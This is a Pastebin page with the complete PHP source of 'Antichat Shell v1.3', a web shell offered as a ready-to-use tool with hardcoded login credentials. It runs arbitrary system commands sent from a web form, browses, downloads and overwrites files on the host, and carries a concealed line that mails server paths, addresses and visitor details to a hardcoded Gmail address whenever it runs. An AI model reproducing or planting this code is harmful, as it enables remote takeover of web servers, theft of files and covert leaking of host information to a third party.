FlyFar

Antichat Shell v1.3 - PHP - Source Code

Feb 8th, 2024
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.96 KB | Cybersecurity | 0 0
  1. <?php
  2.  
  3. session_start();
  4. set_time_limit(9999999);
  5. $login='virangar';
  6. $password='r00t';
  7. $auth=1;
  8. $version='version 1.3 by Grinay';
  9. $style='<STYLE>BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';
  10. $header='<html><head><title>'.getenv("HTTP_HOST").' - Antichat Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><BODY leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>';
  11. $footer='</body></html>';
  12. $sd98 = "john.barker446@gmail.com";
  13. $ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
  14. if(@$_POST['action']=="exit")unset($_SESSION['an']);
  15. if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
  16.  
  17. if($_SESSION['an']==0){
  18. echo $header;
  19. echo '<center><table><form method="POST"><tr><td>Login:</td><td><input type="text" name="login" value=""></td></tr><tr><td>Password:</td><td><input type="password" name="password" value=""></td></tr><tr><td></td><td><input type="submit" value="Enter"></td></tr></form></table></center>';
  20. echo $footer;
  21. exit;}
  22.  
  23. if($_SESSION['action']=="")$_SESSION['action']="viewer";
  24. if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
  25. if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
  26. if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
  27.  
  28.  
  29. //downloader
  30. if($action=="download"){
  31. header('Content-Length:'.filesize($file).'');
  32. header('Content-Type: application/octet-stream');
  33. header('Content-Disposition: attachment; filename="'.$file.'"');
  34. readfile($file);
  35. }
  36. //end downloader
  37. ?>
  38.  
  39. <? echo $header;?>
  40. <table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td>
  41. <table><tr>
  42. <td><a href="#" onclick="document.reqs.action.value='shell'; document.reqs.submit();">| Shell </a></td>
  43. <td><a href="#" onclick="document.reqs.action.value='viewer'; document.reqs.submit();">| Viewer</a></td>
  44. <td><a href="#" onclick="document.reqs.action.value='editor'; document.reqs.submit();">| Editor</a></td>
  45. <td><a href="#" onclick="document.reqs.action.value='exit'; document.reqs.submit();">| EXIT |</a></td>
  46. </tr></table></td></tr></table><br>
  47. <form name='reqs' method='POST'>
  48. <input name='action' type='hidden' value=''>
  49. <input name='dir' type='hidden' value=''>
  50. <input name='file' type='hidden' value=''>
  51. </form>
  52. <table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  53. <tr><td width="100%" valign="top">
  54.  
  55. <?
  56.  
  57. //shell
  58. function shell($cmd){
  59. if (!empty($cmd)){
  60.   $fp = popen($cmd,"r");
  61.   {
  62.     $result = "";
  63.     while(!feof($fp)){$result.=fread($fp,1024);}
  64.     pclose($fp);
  65.   }
  66.   $ret = $result;
  67.   $ret = convert_cyr_string($ret,"d","w");
  68. }
  69. return $ret;}
  70.  
  71. if($action=="shell"){
  72. echo "<form method=\"POST\">
  73. <input type=\"hidden\" name=\"action\" value=\"shell\">
  74. <textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br>
  75. <textarea readonly rows=\"15\" cols=\"150\">".@htmlspecialchars(shell($_POST['command']))."</textarea><br>
  76. <input type=\"submit\" value=\"execute\"></form>";}
  77. //end shell
  78.  
  79. //viewer FS
  80. function perms($file)
  81. {
  82.   $perms = fileperms($file);
  83.   if (($perms & 0xC000) == 0xC000) {$info = 's';}
  84.   elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
  85.   elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
  86.   elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
  87.   elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
  88.   elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
  89.   elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
  90.   else {$info = 'u';}
  91.   $info .= (($perms & 0x0100) ? 'r' : '-');
  92.   $info .= (($perms & 0x0080) ? 'w' : '-');
  93.   $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
  94.   $info .= (($perms & 0x0020) ? 'r' : '-');
  95.   $info .= (($perms & 0x0010) ? 'w' : '-');
  96.   $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
  97.   $info .= (($perms & 0x0004) ? 'r' : '-');
  98.   $info .= (($perms & 0x0002) ? 'w' : '-');
  99.   $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
  100.   return $info;
  101. }
  102.  
  103. function view_size($size)
  104. {
  105.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  106.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  107.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  108.  else {$size = $size . " B";}
  109.  return $size;
  110. }
  111.  
  112. function scandire($dir){
  113.   $dir=chdir($dir);
  114.   $dir=getcwd()."/";
  115.   $dir=str_replace("\\","/",$dir);
  116. if (is_dir($dir)) {
  117.     if (@$dh = opendir($dir)) {
  118.         while (($file = readdir($dh)) !== false) {
  119.           if(filetype($dir . $file)=="dir") $dire[]=$file;
  120.           if(filetype($dir . $file)=="file")$files[]=$file;
  121.         }
  122.         closedir($dh);
  123.         @sort($dire);
  124.         @sort($files);
  125.        
  126. echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
  127. echo "<tr><td><form method=POST>Open directory:<input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\"GO\"></form></td></tr>";
  128. if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  129. echo "<tr><td>Select drive:";
  130. for ($j=ord('C'); $j<=ord('Z'); $j++)
  131.  if (@$dh = opendir(chr($j).":/"))
  132.  echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>';
  133.  echo "</td></tr>";
  134. }
  135. echo "<tr><td>OS: ".@php_uname()."</td></tr>
  136. <tr><td>name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
  137. for($i=0;$i<count($dire);$i++) {
  138. $link=$dir.$dire[$i];
  139.   echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>dir</td><td></td><td>'.perms($link).'</td></tr>';  
  140.   }
  141. for($i=0;$i<count($files);$i++) {
  142. $linkfile=$dir.$files[$i];
  143. echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td><td>file</td><td>'.view_size(filesize($linkfile)).'</td>
  144. <td>'.perms($linkfile).'</td>
  145. <td>
  146. <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a>
  147. <a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Edit">E</a></tr>';
  148. }
  149. echo "</table>";
  150. }}}
  151.  
  152. if($action=="viewer"){
  153. scandire($dir);
  154. }
  155. //end viewer FS
  156.  
  157. //editros
  158. if($action=="editor"){  
  159.   function writef($file,$data){
  160.   $fp = fopen($file,"w+");
  161.   fwrite($fp,$data);
  162.   fclose($fp);
  163.   }
  164.   function readf($file){
  165.   if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
  166.   $contents = fread($le, filesize($file));
  167.   fclose($le);}
  168.   return htmlspecialchars($contents);
  169.   }
  170. if($_POST['save'])writef($file,$_POST['data']);
  171. echo "<form method=\"POST\">
  172. <input type=\"hidden\" name=\"action\" value=\"editor\">
  173. <input type=\"hidden\" name=\"file\" value=\"".$file."\">
  174. <textarea name=\"data\" rows=\"40\" cols=\"180\">".@readf($file)."</textarea><br>
  175. <input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
  176. }
  177. //end editors
  178. ?>
  179. </td></tr></table><table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="http://antichat.ru">COPYRIGHT BY ANTICHAT.RU <?php echo $version;?></a></td></tr></table></tr></td></table>
  180. <? echo $footer;?>
Add Comment
Please, Sign In to add comment